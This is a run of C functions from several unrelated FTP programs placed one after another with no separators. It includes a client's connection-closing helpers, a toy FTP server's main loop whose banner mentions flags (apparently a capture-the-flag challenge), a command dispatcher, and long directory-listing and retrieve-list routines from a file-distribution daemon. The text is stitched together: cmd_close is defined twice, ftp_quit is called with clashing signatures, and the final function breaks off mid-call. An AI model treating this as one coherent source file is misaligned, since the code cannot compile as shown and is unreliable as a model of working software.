void ftp_quit_all(void) { listitem *li; /* nicely close all open connections */ for(li=gvFtpList->first; li; li=li->next) { ftp_use((Ftp *)li->data); ftp_quit(); } }
void cmd_close(int argc, char **argv) { if(argv) { OPT_HELP_NEW(_("Close open connection"), "close [options]", NULL); maxargs(optind - 1); } ftp_quit(); if(list_numitem(gvFtpList) > 1) { list_delitem(gvFtpList, gvCurrentFtp); gvCurrentFtp = gvFtpList->first; ftp_use((Ftp *)gvCurrentFtp->data); } }
int main() { static char cmd [20]; static char banner [] = "220-RU-Zilla FTP server version 0.1 beta\n" "220-written by some drunk\n" "220 only cool files and flags allowed\n"; write(STDOUT_FILENO, banner, strlen(banner)); if(!ftp_login()) { exit(0); } write(STDOUT_FILENO, "cmd:", strlen("cmd:")); while(read(STDIN_FILENO, cmd, 20)) { if (!memcmp(cmd, "put", strlen("put"))) { ftp_upload_file(); write(STDOUT_FILENO, "cmd:", strlen("cmd:")); continue; } if (!memcmp(cmd, "get", strlen("get"))) { ftp_download_file(); write(STDOUT_FILENO, "cmd:", strlen("cmd:")); continue; } if (!memcmp(cmd, "quit", strlen("quit"))) { ftp_quit(); } if (!memcmp(cmd, "binary", strlen("binary"))) { ftp_set_binary(); write(STDOUT_FILENO, "cmd:", strlen("cmd:")); continue; } write(STDOUT_FILENO, "unrecognized command\n", strlen("unrecognized command\n")); write(STDOUT_FILENO, "cmd:", strlen("cmd:")); } return 0; }
void cmd_close(int argc, char **argv) { if(argv) { OPT_HELP("Close open connection. Usage:\n" " close [options]\n" "Options:\n" " -h, --help show this help\n"); maxargs(optind - 1); } ftp_quit(); if(list_numitem(gvFtpList) > 1) { list_delitem(gvFtpList, gvCurrentFtp); gvCurrentFtp = gvFtpList->first; ftp_use((Ftp *)gvCurrentFtp->data); } }
/** * ftp_close * * Close the connection and both control and transport. * * Parameters: * * ctxt Pointer to an FTP context. * * Returns -1 in case of error, 0 otherwise. */ int ftp_close(ftp_context_pointer ctxt) { if (ctxt == NULL) return -1; if (ctxt->data_file_desc >= 0) { close(ctxt->data_file_desc); ctxt->data_file_desc = -1; } if (ctxt->control_file_desc >= 0) { ftp_quit(ctxt); close(ctxt->control_file_desc); ctxt->control_file_desc = -1; } ftp_free_context(ctxt); return 0; }
/** * Generates response message for client * @param cmd Current command * @param state Current connection state */ void response(Command *cmd, State *state) { switch(lookup_cmd(cmd->command)){ case USER: ftp_user(cmd,state); break; case PASS: ftp_pass(cmd,state); break; case PASV: ftp_pasv(cmd,state); break; case LIST: ftp_list(cmd,state); break; case CWD: ftp_cwd(cmd,state); break; case PWD: ftp_pwd(cmd,state); break; case MKD: ftp_mkd(cmd,state); break; case RMD: ftp_rmd(cmd,state); break; case RETR: ftp_retr(cmd,state); break; case STOR: ftp_stor(cmd,state); break; case DELE: ftp_dele(cmd,state); break; case SIZE: ftp_size(cmd,state); break; case ABOR: ftp_abor(state); break; case QUIT: ftp_quit(state); break; case TYPE: ftp_type(cmd,state); break; case CDUP: ftp_cdup(state); break; case HELP: ftp_help(cmd, state); break; case NLST: ftp_nlst(cmd, state); break; case RNFR: ftp_rnfr(cmd, state); break; case RNTO: ftp_rnto(cmd, state); break; case APPE: ftp_appe(cmd, state); break; case NOOP: if(state->logged_in){ state->message = "200 Zzz...\n"; }else{ state->message = "530 Please login with USER and PASS\n"; } write_state(state); break; default: state->message = "500 Unknown command\n"; write_state(state); break; } }
/*################## get_remote_file_names_ftp_list() ###################*/ int get_remote_file_names_ftp_list(off_t *file_size_to_retrieve, int *more_files_in_list) { int files_to_retrieve = 0, i = 0; *file_size_to_retrieve = 0; #ifdef DO_NOT_PARALLELIZE_ALL_FETCH if ((*more_files_in_list == YES) || (db.special_flag & DISTRIBUTED_HELPER_JOB) || ((db.special_flag & OLD_ERROR_JOB) && (db.retries < 30) && (fra[db.fra_pos].stupid_mode != YES) && (fra[db.fra_pos].remove != YES))) #else if (rl_fd == -1) { try_attach_again: if (attach_ls_data(db.fra_pos, db.fsa_pos, db.special_flag, YES) == INCORRECT) { (void)ftp_quit(); exit(INCORRECT); } if ((db.special_flag & DISTRIBUTED_HELPER_JOB) && ((fra[db.fra_pos].stupid_mode == YES) || (fra[db.fra_pos].remove == YES))) { # ifdef LOCK_DEBUG if (rlock_region(rl_fd, LOCK_RETR_PROC, __FILE__, __LINE__) == LOCK_IS_SET) # else if (rlock_region(rl_fd, LOCK_RETR_PROC) == LOCK_IS_SET) # endif { if (i == 0) { system_log(DEBUG_SIGN, __FILE__, __LINE__, "Hmm, lock is set. Assume ls_data file was just modified. Lets try it again. (job_no=%d fsa_pos=%d)", (int)db.job_no, db.fsa_pos); } else { if (i == 30) { trans_log(DEBUG_SIGN, __FILE__, __LINE__, NULL, NULL, "Have waited %d seconds, but unable to get a lock. Terminating.", (i * 100000) / 1000000); (void)ftp_quit(); exit(SUCCESS); } my_usleep(100000L); } detach_ls_data(NO); i++; goto try_attach_again; } } } if ((*more_files_in_list == YES) || (db.special_flag & DISTRIBUTED_HELPER_JOB) || ((db.special_flag & OLD_ERROR_JOB) && (db.retries < 30))) #endif { #ifdef DO_NOT_PARALLELIZE_ALL_FETCH if (rl_fd == -1) { if (attach_ls_data(db.fra_pos, db.fsa_pos, db.special_flag, YES) == INCORRECT) { (void)ftp_quit(); exit(INCORRECT); } } #endif *more_files_in_list = NO; for (i = 0; i < no_of_listed_files; i++) { if ((rl[i].retrieved == NO) && (rl[i].assigned == 0)) { #ifdef DO_NOT_PARALLELIZE_ALL_FETCH if ((fra[db.fra_pos].stupid_mode == YES) || (fra[db.fra_pos].remove == YES) || ((files_to_retrieve < fra[db.fra_pos].max_copied_files) && (*file_size_to_retrieve < fra[db.fra_pos].max_copied_file_size))) #else if ((files_to_retrieve < fra[db.fra_pos].max_copied_files) && (*file_size_to_retrieve < fra[db.fra_pos].max_copied_file_size)) #endif { /* Lock this file in list. */ #ifdef LOCK_DEBUG if (lock_region(rl_fd, (off_t)(LOCK_RETR_FILE + i), __FILE__, __LINE__) == LOCK_IS_NOT_SET) #else if (lock_region(rl_fd, (off_t)(LOCK_RETR_FILE + i)) == LOCK_IS_NOT_SET) #endif { if ((fra[db.fra_pos].ignore_size == -1) || ((fra[db.fra_pos].gt_lt_sign & ISIZE_EQUAL) && (fra[db.fra_pos].ignore_size == rl[i].size)) || ((fra[db.fra_pos].gt_lt_sign & ISIZE_LESS_THEN) && (fra[db.fra_pos].ignore_size < rl[i].size)) || ((fra[db.fra_pos].gt_lt_sign & ISIZE_GREATER_THEN) && (fra[db.fra_pos].ignore_size > rl[i].size))) { if ((rl[i].got_date == NO) || (fra[db.fra_pos].ignore_file_time == 0)) { files_to_retrieve++; if ((fra[db.fra_pos].stupid_mode == APPEND_ONLY) && (rl[i].size > rl[i].prev_size)) { *file_size_to_retrieve += (rl[i].size - rl[i].prev_size); } else { *file_size_to_retrieve += rl[i].size; } rl[i].assigned = (unsigned char)db.job_no + 1; } else { time_t diff_time; diff_time = current_time - rl[i].file_mtime; if (((fra[db.fra_pos].gt_lt_sign & IFTIME_EQUAL) && (fra[db.fra_pos].ignore_file_time == diff_time)) || ((fra[db.fra_pos].gt_lt_sign & IFTIME_LESS_THEN) && (fra[db.fra_pos].ignore_file_time < diff_time)) || ((fra[db.fra_pos].gt_lt_sign & IFTIME_GREATER_THEN) && (fra[db.fra_pos].ignore_file_time > diff_time))) { files_to_retrieve++; if ((fra[db.fra_pos].stupid_mode == APPEND_ONLY) && (rl[i].size > rl[i].prev_size)) { *file_size_to_retrieve += (rl[i].size - rl[i].prev_size); } else { *file_size_to_retrieve += rl[i].size; } rl[i].assigned = (unsigned char)db.job_no + 1; } } #ifdef DEBUG_ASSIGNMENT trans_log(DEBUG_SIGN, __FILE__, __LINE__, NULL, NULL, # if SIZEOF_OFF_T == 4 "%s assigned %d: file_name=%s assigned=%d size=%ld", # else "%s assigned %d: file_name=%s assigned=%d size=%lld", # endif (fra[db.fra_pos].ls_data_alias[0] == '\0') ? fra[db.fra_pos].dir_alias : fra[db.fra_pos].ls_data_alias, i, rl[i].file_name, (int)rl[i].assigned, (pri_off_t)rl[i].size); #endif /* DEBUG_ASSIGNMENT */ } #ifdef LOCK_DEBUG unlock_region(rl_fd, (off_t)(LOCK_RETR_FILE + i), __FILE__, __LINE__); #else unlock_region(rl_fd, (off_t)(LOCK_RETR_FILE + i)); #endif } } else { *more_files_in_list = YES; break; } } } } else { unsigned int files_deleted = 0, list_length = 0; int gotcha, j, k, nfg, /* Number of file mask. */ status, type; char file_name[MAX_FILENAME_LENGTH + 1], *list = NULL, *p_end, *p_mask, *p_start; time_t file_mtime; off_t file_size, file_size_deleted = 0, list_size = 0; struct ftpparse fp; struct file_mask *fml = NULL; struct tm *p_tm; /* * Get a directory listing from the remote site so we can see * what files are there. */ #ifdef WITH_SSL if (db.auth == BOTH) { type = LIST_CMD | BUFFERED_LIST | ENCRYPT_DATA; } else { #endif type = LIST_CMD | BUFFERED_LIST; #ifdef WITH_SSL } #endif if ((status = ftp_list(db.mode_flag, type, &list)) != SUCCESS) { trans_log(ERROR_SIGN, __FILE__, __LINE__, NULL, msg_str, "Failed to send LIST command (%d).", status); (void)ftp_quit(); exit(LIST_ERROR); } if (list != NULL) { /* Get all file masks for this directory. */ if ((j = read_file_mask(fra[db.fra_pos].dir_alias, &nfg, &fml)) == INCORRECT) { if (j == LOCKFILE_NOT_THERE) { system_log(ERROR_SIGN, __FILE__, __LINE__, "Failed to set lock in file masks for %s, because the file is not there.", fra[db.fra_pos].dir_alias); } else if (j == LOCK_IS_SET) { system_log(ERROR_SIGN, __FILE__, __LINE__, "Failed to get the file masks for %s, because lock is already set", fra[db.fra_pos].dir_alias); } else { system_log(ERROR_SIGN, __FILE__, __LINE__, "Failed to get the file masks for %s. (%d)", fra[db.fra_pos].dir_alias, j); } if (fml != NULL) { free(fml); } (void)ftp_quit(); exit(INCORRECT); } #ifdef DO_NOT_PARALLELIZE_ALL_FETCH if ((fra[db.fra_pos].stupid_mode == YES) || (fra[db.fra_pos].remove == YES)) { if (reset_ls_data(db.fra_pos) == INCORRECT) { (void)ftp_quit(); exit(INCORRECT); } } else { if (rl_fd == -1) { if (attach_ls_data(db.fra_pos, db.fsa_pos, db.special_flag, YES) == INCORRECT) { (void)ftp_quit(); exit(INCORRECT); } } } #else if (rl_fd == -1) { if (attach_ls_data(db.fra_pos, db.fsa_pos, db.special_flag, YES) == INCORRECT) { (void)ftp_quit(); exit(INCORRECT); } } if ((fra[db.fra_pos].stupid_mode == YES) || (fra[db.fra_pos].remove == YES)) { /* * If all files from the previous listing have been * collected, lets reset the ls_data structure or otherwise * it keeps on growing forever. */ # ifdef LOCK_DEBUG if (lock_region(rl_fd, LOCK_RETR_PROC, __FILE__, __LINE__) == LOCK_IS_NOT_SET) # else if (lock_region(rl_fd, LOCK_RETR_PROC) == LOCK_IS_NOT_SET) # endif { if (reset_ls_data(db.fra_pos) == INCORRECT) { (void)ftp_quit(); exit(INCORRECT); } } # ifdef LOCK_DEBUG unlock_region(rl_fd, LOCK_RETR_PROC, __FILE__, __LINE__); # else unlock_region(rl_fd, LOCK_RETR_PROC); # endif } #endif if ((fra[db.fra_pos].ignore_file_time != 0) || (fra[db.fra_pos].delete_files_flag & UNKNOWN_FILES)) { /* Note: FTP returns GMT so we need to convert this to GMT! */ current_time = time(NULL); p_tm = gmtime(¤t_time); current_time = mktime(p_tm); } /* * Evaluate the list from the LIST command. */ p_end = list; do { p_start = p_end; while ((*p_end != '\r') && (*p_end != '\n') && (*p_end != '\0')) { p_end++; } if ((ftpparse(&fp, &file_size, &file_mtime, p_start, p_end - p_start) == 1) && ((fp.flagtryretr == 1) && ((fp.name[0] != '.') || (fra[db.fra_pos].dir_flag & ACCEPT_DOT_FILES)))) { list_length++; list_size += file_size; if (fp.namelen < MAX_FILENAME_LENGTH) { /* Store file name */ (void)memcpy(file_name, fp.name, fp.namelen); file_name[fp.namelen] = '\0'; if (fra[db.fra_pos].dir_flag == ALL_DISABLED) { delete_remote_file(FTP, file_name, fp.namelen, #ifdef _DELETE_LOG DELETE_HOST_DISABLED, #endif &files_deleted, &file_size_deleted, file_size); } else { gotcha = NO; for (k = 0; k < nfg; k++) { p_mask = fml[k].file_list; for (j = 0; j < fml[k].fc; j++) { if ((status = pmatch(p_mask, file_name, NULL)) == 0) { if (check_list(file_name, file_size, file_mtime, &files_to_retrieve, file_size_to_retrieve, more_files_in_list) == 0) { gotcha = YES; } else { gotcha = NEITHER; } break; } else if (status == 1) { /* This file is definitly NOT wanted! */ /* Lets skip the rest of this group. */ break; } #ifdef SHOW_FILTER_MISSES if ((status == -1) || (fsa->debug > NORMAL_MODE)) { char tmp_mask[MAX_FILENAME_LENGTH]; if (expand_filter(p_mask, tmp_mask, time(NULL)) == YES) { trans_db_log(INFO_SIGN, __FILE__, __LINE__, NULL, "%s (%s) not fitting %s", p_mask, tmp_mask, file_name); } else { trans_db_log(INFO_SIGN, __FILE__, __LINE__, NULL, "%s not fitting %s", p_mask, file_name); } } #endif NEXT(p_mask); } if ((gotcha == YES) || (gotcha == NEITHER)) { break; } } if ((gotcha == NO) && (status != 0) && (fra[db.fra_pos].delete_files_flag & UNKNOWN_FILES)) { time_t diff_time = current_time - file_mtime; if ((fra[db.fra_pos].unknown_file_time == -2) || ((diff_time > fra[db.fra_pos].unknown_file_time) && (diff_time > DEFAULT_TRANSFER_TIMEOUT))) { delete_remote_file(FTP, file_name, fp.namelen, #ifdef _DELETE_LOG DEL_UNKNOWN_FILE, #endif &files_deleted, &file_size_deleted, file_size); } } } } else { (void)memcpy(file_name, fp.name, MAX_FILENAME_LENGTH); file_name[MAX_FILENAME_LENGTH] = '\0'; trans_log(ERROR_SIGN, __FILE__, __LINE__, NULL, NULL, "Remote file name `%s' is to long, it may only be %d bytes long.", file_name, MAX_FILENAME_LENGTH); } } while ((*p_end == '\r') || (*p_end == '\n')) { p_end++; } } while (*p_end != '\0'); free(list); /* Free file mask list. */ for (i = 0; i < nfg; i++) { free(fml[i].file_list); } free(fml); } if (files_deleted > 0) { trans_log(DEBUG_SIGN, NULL, 0, NULL, NULL, #if SIZEOF_OFF_T == 4 "%d files %ld bytes found for retrieving %s[%u files with %ld bytes in %s (deleted %u files with %ld bytes)]. @%x", #else "%d files %lld bytes found for retrieving %s[%u files with %lld bytes in %s (deleted %u files with %lld bytes)]. @%x", #endif files_to_retrieve, (pri_off_t)(*file_size_to_retrieve), (*more_files_in_list == YES) ? "(+) " : "", list_length, (pri_off_t)list_size, (db.target_dir[0] == '\0') ? "home dir" : db.target_dir, files_deleted, (pri_off_t)file_size_deleted, db.id.dir); } else { trans_log(DEBUG_SIGN, NULL, 0, NULL, NULL, #if SIZEOF_OFF_T == 4 "%d files %ld bytes found for retrieving %s[%u files with %ld bytes in %s]. @%x", #else "%d files %lld bytes found for retrieving %s[%u files with %lld bytes in %s]. @%x", #endif files_to_retrieve, (pri_off_t)(*file_size_to_retrieve), (*more_files_in_list == YES) ? "(+) " : "", list_length, (pri_off_t)list_size, (db.target_dir[0] == '\0') ? "home dir" : db.target_dir, db.id.dir); } /* * Remove all files from the remote_list structure that are not * in the current buffer. */ if ((fra[db.fra_pos].stupid_mode != YES) && (fra[db.fra_pos].remove == NO)) { int files_removed = 0, i; size_t move_size; for (i = 0; i < (no_of_listed_files - files_removed); i++) { if (rl[i].in_list == NO) { int j = i; while ((rl[j].in_list == NO) && (j < (no_of_listed_files - files_removed))) { j++; } if (j != (no_of_listed_files - files_removed)) { move_size = (no_of_listed_files - files_removed - j) * sizeof(struct retrieve_list); (void)memmove(&rl[i], &rl[j], move_size); } files_removed += (j - i); } } if (files_removed > 0) { int current_no_of_listed_files = no_of_listed_files; size_t new_size, old_size; no_of_listed_files -= files_removed; if (no_of_listed_files < 0) { system_log(DEBUG_SIGN, __FILE__, __LINE__, "Hmmm, no_of_listed_files = %d", no_of_listed_files); no_of_listed_files = 0; } if (no_of_listed_files == 0) { new_size = (RETRIEVE_LIST_STEP_SIZE * sizeof(struct retrieve_list)) + AFD_WORD_OFFSET; } else { new_size = (((no_of_listed_files / RETRIEVE_LIST_STEP_SIZE) + 1) * RETRIEVE_LIST_STEP_SIZE * sizeof(struct retrieve_list)) + AFD_WORD_OFFSET; } old_size = (((current_no_of_listed_files / RETRIEVE_LIST_STEP_SIZE) + 1) * RETRIEVE_LIST_STEP_SIZE * sizeof(struct retrieve_list)) + AFD_WORD_OFFSET; if (old_size != new_size) { char *ptr; ptr = (char *)rl - AFD_WORD_OFFSET; #ifdef DO_NOT_PARALLELIZE_ALL_FETCH if ((fra[db.fra_pos].stupid_mode == YES) || (fra[db.fra_pos].remove == YES)) { if ((ptr = realloc(ptr, new_size)) == NULL) { system_log(ERROR_SIGN, __FILE__, __LINE__, "realloc() error : %s", strerror(errno)); (void)ftp_quit(); exit(INCORRECT); } } else { #endif if ((ptr = mmap_resize(rl_fd, ptr, new_size)) == (caddr_t) -1) { system_log(ERROR_SIGN, __FILE__, __LINE__, "mmap_resize() error : %s", strerror(errno)); (void)ftp_quit(); exit(INCORRECT); } rl_size = new_size; #ifdef DO_NOT_PARALLELIZE_ALL_FETCH } #endif ptr += AFD_WORD_OFFSET; rl = (struct retrieve_list *)ptr; } *(int *)((char *)rl - AFD_WORD_OFFSET) = no_of_listed_files; } } } return(files_to_retrieve); }
/*+++++++++++++++++++++++++++++ check_list() ++++++++++++++++++++++++++++*/ static int check_list(char *file, off_t file_size, time_t file_mtime, int *files_to_retrieve, off_t *file_size_to_retrieve, int *more_files_in_list) { int i; if ((fra[db.fra_pos].stupid_mode == YES) || (fra[db.fra_pos].remove == YES)) { for (i = 0; i < no_of_listed_files; i++) { if (CHECK_STRCMP(rl[i].file_name, file) == 0) { rl[i].in_list = YES; if (((rl[i].assigned == 0) || (rl[i].retrieved == YES)) && (((db.special_flag & OLD_ERROR_JOB) == 0) || #ifdef LOCK_DEBUG (lock_region(rl_fd, (off_t)(LOCK_RETR_FILE + i), __FILE__, __LINE__) == LOCK_IS_NOT_SET) #else (lock_region(rl_fd, (off_t)(LOCK_RETR_FILE + i)) == LOCK_IS_NOT_SET) #endif )) { int ret; rl[i].file_mtime = file_mtime; rl[i].got_date = YES; rl[i].size = file_size; rl[i].prev_size = 0; if ((fra[db.fra_pos].ignore_size == -1) || ((fra[db.fra_pos].gt_lt_sign & ISIZE_EQUAL) && (fra[db.fra_pos].ignore_size == rl[i].size)) || ((fra[db.fra_pos].gt_lt_sign & ISIZE_LESS_THEN) && (fra[db.fra_pos].ignore_size < rl[i].size)) || ((fra[db.fra_pos].gt_lt_sign & ISIZE_GREATER_THEN) && (fra[db.fra_pos].ignore_size > rl[i].size))) { if (fra[db.fra_pos].ignore_file_time == 0) { *file_size_to_retrieve += rl[i].size; *files_to_retrieve += 1; #ifdef DO_NOT_PARALLELIZE_ALL_FETCH if ((fra[db.fra_pos].stupid_mode == YES) || (fra[db.fra_pos].remove == YES) || ((*files_to_retrieve < fra[db.fra_pos].max_copied_files) && (*file_size_to_retrieve < fra[db.fra_pos].max_copied_file_size))) #else if ((*files_to_retrieve < fra[db.fra_pos].max_copied_files) && (*file_size_to_retrieve < fra[db.fra_pos].max_copied_file_size)) #endif { rl[i].retrieved = NO; rl[i].assigned = (unsigned char)db.job_no + 1; } else { rl[i].assigned = 0; *file_size_to_retrieve -= rl[i].size; *files_to_retrieve -= 1; *more_files_in_list = YES; } ret = 0; } else { time_t diff_time; diff_time = current_time - rl[i].file_mtime; if (((fra[db.fra_pos].gt_lt_sign & IFTIME_EQUAL) && (fra[db.fra_pos].ignore_file_time == diff_time)) || ((fra[db.fra_pos].gt_lt_sign & IFTIME_LESS_THEN) && (fra[db.fra_pos].ignore_file_time < diff_time)) || ((fra[db.fra_pos].gt_lt_sign & IFTIME_GREATER_THEN) && (fra[db.fra_pos].ignore_file_time > diff_time))) { *file_size_to_retrieve += rl[i].size; *files_to_retrieve += 1; #ifdef DO_NOT_PARALLELIZE_ALL_FETCH if ((fra[db.fra_pos].stupid_mode == YES) || (fra[db.fra_pos].remove == YES) || ((*files_to_retrieve < fra[db.fra_pos].max_copied_files) && (*file_size_to_retrieve < fra[db.fra_pos].max_copied_file_size))) #else if ((*files_to_retrieve < fra[db.fra_pos].max_copied_files) && (*file_size_to_retrieve < fra[db.fra_pos].max_copied_file_size)) #endif { rl[i].retrieved = NO; rl[i].assigned = (unsigned char)db.job_no + 1; } else { rl[i].assigned = 0; *file_size_to_retrieve -= rl[i].size; *files_to_retrieve -= 1; *more_files_in_list = YES; } ret = 0; } else { ret = 1; } } #ifdef DEBUG_ASSIGNMENT trans_log(DEBUG_SIGN, __FILE__, __LINE__, NULL, NULL, # if SIZEOF_OFF_T == 4 "%s assigned %d: file_name=%s assigned=%d size=%ld", # else "%s assigned %d: file_name=%s assigned=%d size=%lld", # endif (fra[db.fra_pos].ls_data_alias[0] == '\0') ? fra[db.fra_pos].dir_alias : fra[db.fra_pos].ls_data_alias, i, rl[i].file_name, (int)rl[i].assigned, (pri_off_t)rl[i].size); #endif /* DEBUG_ASSIGNMENT */ } else { ret = 1; } if (db.special_flag & OLD_ERROR_JOB) { #ifdef LOCK_DEBUG unlock_region(rl_fd, (off_t)(LOCK_RETR_FILE + i), __FILE__, __LINE__); #else unlock_region(rl_fd, (off_t)(LOCK_RETR_FILE + i)); #endif } return(ret); } else { return(1); } } } /* for (i = 0; i < no_of_listed_files; i++) */ } else { /* Check if this file is in the list. */ for (i = 0; i < no_of_listed_files; i++) { if (CHECK_STRCMP(rl[i].file_name, file) == 0) { rl[i].in_list = YES; if ((rl[i].assigned != 0) || ((fra[db.fra_pos].stupid_mode == GET_ONCE_ONLY) && (rl[i].retrieved == YES))) { return(1); } if (((db.special_flag & OLD_ERROR_JOB) == 0) || #ifdef LOCK_DEBUG (lock_region(rl_fd, (off_t)(LOCK_RETR_FILE + i), __FILE__, __LINE__) == LOCK_IS_NOT_SET) #else (lock_region(rl_fd, (off_t)(LOCK_RETR_FILE + i)) == LOCK_IS_NOT_SET) #endif ) { int ret; off_t prev_size = 0; if (rl[i].file_mtime != file_mtime) { rl[i].file_mtime = file_mtime; rl[i].retrieved = NO; rl[i].assigned = 0; } rl[i].got_date = YES; if (rl[i].size != file_size) { prev_size = rl[i].size; rl[i].size = file_size; rl[i].retrieved = NO; rl[i].assigned = 0; } if (rl[i].retrieved == NO) { if ((fra[db.fra_pos].ignore_size == -1) || ((fra[db.fra_pos].gt_lt_sign & ISIZE_EQUAL) && (fra[db.fra_pos].ignore_size == rl[i].size)) || ((fra[db.fra_pos].gt_lt_sign & ISIZE_LESS_THEN) && (fra[db.fra_pos].ignore_size < rl[i].size)) || ((fra[db.fra_pos].gt_lt_sign & ISIZE_GREATER_THEN) && (fra[db.fra_pos].ignore_size > rl[i].size))) { off_t size_to_retrieve; if ((rl[i].got_date == NO) || (fra[db.fra_pos].ignore_file_time == 0)) { if ((fra[db.fra_pos].stupid_mode == APPEND_ONLY) && (rl[i].size > prev_size)) { size_to_retrieve = rl[i].size - prev_size; } else { size_to_retrieve = rl[i].size; } rl[i].prev_size = prev_size; #ifdef DO_NOT_PARALLELIZE_ALL_FETCH if ((fra[db.fra_pos].stupid_mode == YES) || (fra[db.fra_pos].remove == YES) || (((*files_to_retrieve + 1) < fra[db.fra_pos].max_copied_files) && ((*file_size_to_retrieve + size_to_retrieve) < fra[db.fra_pos].max_copied_file_size))) #else if (((*files_to_retrieve + 1) < fra[db.fra_pos].max_copied_files) && ((*file_size_to_retrieve + size_to_retrieve) < fra[db.fra_pos].max_copied_file_size)) #endif { rl[i].assigned = (unsigned char)db.job_no + 1; *file_size_to_retrieve += size_to_retrieve; *files_to_retrieve += 1; } else { rl[i].assigned = 0; *more_files_in_list = YES; } ret = 0; } else { time_t diff_time; diff_time = current_time - rl[i].file_mtime; if (((fra[db.fra_pos].gt_lt_sign & IFTIME_EQUAL) && (fra[db.fra_pos].ignore_file_time == diff_time)) || ((fra[db.fra_pos].gt_lt_sign & IFTIME_LESS_THEN) && (fra[db.fra_pos].ignore_file_time < diff_time)) || ((fra[db.fra_pos].gt_lt_sign & IFTIME_GREATER_THEN) && (fra[db.fra_pos].ignore_file_time > diff_time))) { if ((fra[db.fra_pos].stupid_mode == APPEND_ONLY) && (rl[i].size > prev_size)) { size_to_retrieve = rl[i].size - prev_size; } else { size_to_retrieve = rl[i].size; } rl[i].prev_size = prev_size; #ifdef DO_NOT_PARALLELIZE_ALL_FETCH if ((fra[db.fra_pos].stupid_mode == YES) || (fra[db.fra_pos].remove == YES) || (((*files_to_retrieve + 1) < fra[db.fra_pos].max_copied_files) && ((*file_size_to_retrieve + size_to_retrieve) < fra[db.fra_pos].max_copied_file_size))) #else if (((*files_to_retrieve + 1) < fra[db.fra_pos].max_copied_files) && ((*file_size_to_retrieve + size_to_retrieve) < fra[db.fra_pos].max_copied_file_size)) #endif { rl[i].assigned = (unsigned char)db.job_no + 1; *file_size_to_retrieve += size_to_retrieve; *files_to_retrieve += 1; } else { rl[i].assigned = 0; *more_files_in_list = YES; } ret = 0; } else { ret = 1; } } #ifdef DEBUG_ASSIGNMENT trans_log(DEBUG_SIGN, __FILE__, __LINE__, NULL, NULL, # if SIZEOF_OFF_T == 4 "%s assigned %d: file_name=%s assigned=%d size=%ld", # else "%s assigned %d: file_name=%s assigned=%d size=%lld", # endif (fra[db.fra_pos].ls_data_alias[0] == '\0') ? fra[db.fra_pos].dir_alias : fra[db.fra_pos].ls_data_alias, i, rl[i].file_name, (int)rl[i].assigned, (pri_off_t)rl[i].size); #endif /* DEBUG_ASSIGNMENT */ } else { ret = 1; } } else { ret = 1; } if (db.special_flag & OLD_ERROR_JOB) { #ifdef LOCK_DEBUG unlock_region(rl_fd, (off_t)(LOCK_RETR_FILE + i), __FILE__, __LINE__); #else unlock_region(rl_fd, (off_t)(LOCK_RETR_FILE + i)); #endif } return(ret); } else { return(1); } } } /* for (i = 0; i < no_of_listed_files; i++) */ } /* Add this file to the list. */ if ((no_of_listed_files != 0) && ((no_of_listed_files % RETRIEVE_LIST_STEP_SIZE) == 0)) { char *ptr; size_t new_size = (((no_of_listed_files / RETRIEVE_LIST_STEP_SIZE) + 1) * RETRIEVE_LIST_STEP_SIZE * sizeof(struct retrieve_list)) + AFD_WORD_OFFSET; ptr = (char *)rl - AFD_WORD_OFFSET; #ifdef DO_NOT_PARALLELIZE_ALL_FETCH if ((fra[db.fra_pos].stupid_mode == YES) || (fra[db.fra_pos].remove == YES)) { if ((ptr = realloc(ptr, new_size)) == NULL) { system_log(ERROR_SIGN, __FILE__, __LINE__, "realloc() error : %s", strerror(errno)); (void)ftp_quit(); exit(INCORRECT); } } else { #endif if ((ptr = mmap_resize(rl_fd, ptr, new_size)) == (caddr_t) -1) { system_log(ERROR_SIGN, __FILE__, __LINE__, "mmap_resize() error : %s", strerror(errno)); (void)ftp_quit(); exit(INCORRECT); } rl_size = new_size; #ifdef DO_NOT_PARALLELIZE_ALL_FETCH } #endif if (no_of_listed_files < 0) { system_log(DEBUG_SIGN, __FILE__, __LINE__, "Hmmm, no_of_listed_files = %d", no_of_listed_files); no_of_listed_files = 0; } *(int *)ptr = no_of_listed_files; ptr += AFD_WORD_OFFSET; rl = (struct retrieve_list *)ptr; } (void)strcpy(rl[no_of_listed_files].file_name, file); rl[no_of_listed_files].retrieved = NO; rl[no_of_listed_files].in_list = YES; rl[no_of_listed_files].size = file_size; rl[no_of_listed_files].prev_size = 0; rl[no_of_listed_files].file_mtime = file_mtime; rl[no_of_listed_files].got_date = YES; if ((fra[db.fra_pos].ignore_size == -1) || ((fra[db.fra_pos].gt_lt_sign & ISIZE_EQUAL) && (fra[db.fra_pos].ignore_size == rl[no_of_listed_files].size)) || ((fra[db.fra_pos].gt_lt_sign & ISIZE_LESS_THEN) && (fra[db.fra_pos].ignore_size < rl[no_of_listed_files].size)) || ((fra[db.fra_pos].gt_lt_sign & ISIZE_GREATER_THEN) && (fra[db.fra_pos].ignore_size > rl[no_of_listed_files].size))) { if ((rl[no_of_listed_files].got_date == NO) || (fra[db.fra_pos].ignore_file_time == 0)) { *file_size_to_retrieve += file_size; *files_to_retrieve += 1; no_of_listed_files++; } else { time_t diff_time; diff_time = current_time - rl[no_of_listed_files].file_mtime; if (((fra[db.fra_pos].gt_lt_sign & IFTIME_EQUAL) && (fra[db.fra_pos].ignore_file_time == diff_time)) || ((fra[db.fra_pos].gt_lt_sign & IFTIME_LESS_THEN) && (fra[db.fra_pos].ignore_file_time < diff_time)) || ((fra[db.fra_pos].gt_lt_sign & IFTIME_GREATER_THEN) && (fra[db.fra_pos].ignore_file_time > diff_time))) { *file_size_to_retrieve += file_size; *files_to_retrieve += 1; no_of_listed_files++; } else { return(1); } } #ifdef DO_NOT_PARALLELIZE_ALL_FETCH if ((fra[db.fra_pos].stupid_mode == YES) || (fra[db.fra_pos].remove == YES) || ((*files_to_retrieve < fra[db.fra_pos].max_copied_files) && (*file_size_to_retrieve < fra[db.fra_pos].max_copied_file_size))) #else if ((*files_to_retrieve < fra[db.fra_pos].max_copied_files) && (*file_size_to_retrieve < fra[db.fra_pos].max_copied_file_size)) #endif { rl[no_of_listed_files - 1].assigned = (unsigned char)db.job_no + 1; } else { rl[no_of_listed_files - 1].assigned = 0; *file_size_to_retrieve -= file_size; *files_to_retrieve -= 1; *more_files_in_list = YES; } *(int *)((char *)rl - AFD_WORD_OFFSET) = no_of_listed_files; #ifdef DEBUG_ASSIGNMENT trans_log(DEBUG_SIGN, __FILE__, __LINE__, NULL, NULL, # if SIZEOF_OFF_T == 4 "%s assigned %d: file_name=%s assigned=%d size=%ld", # else "%s assigned %d: file_name=%s assigned=%d 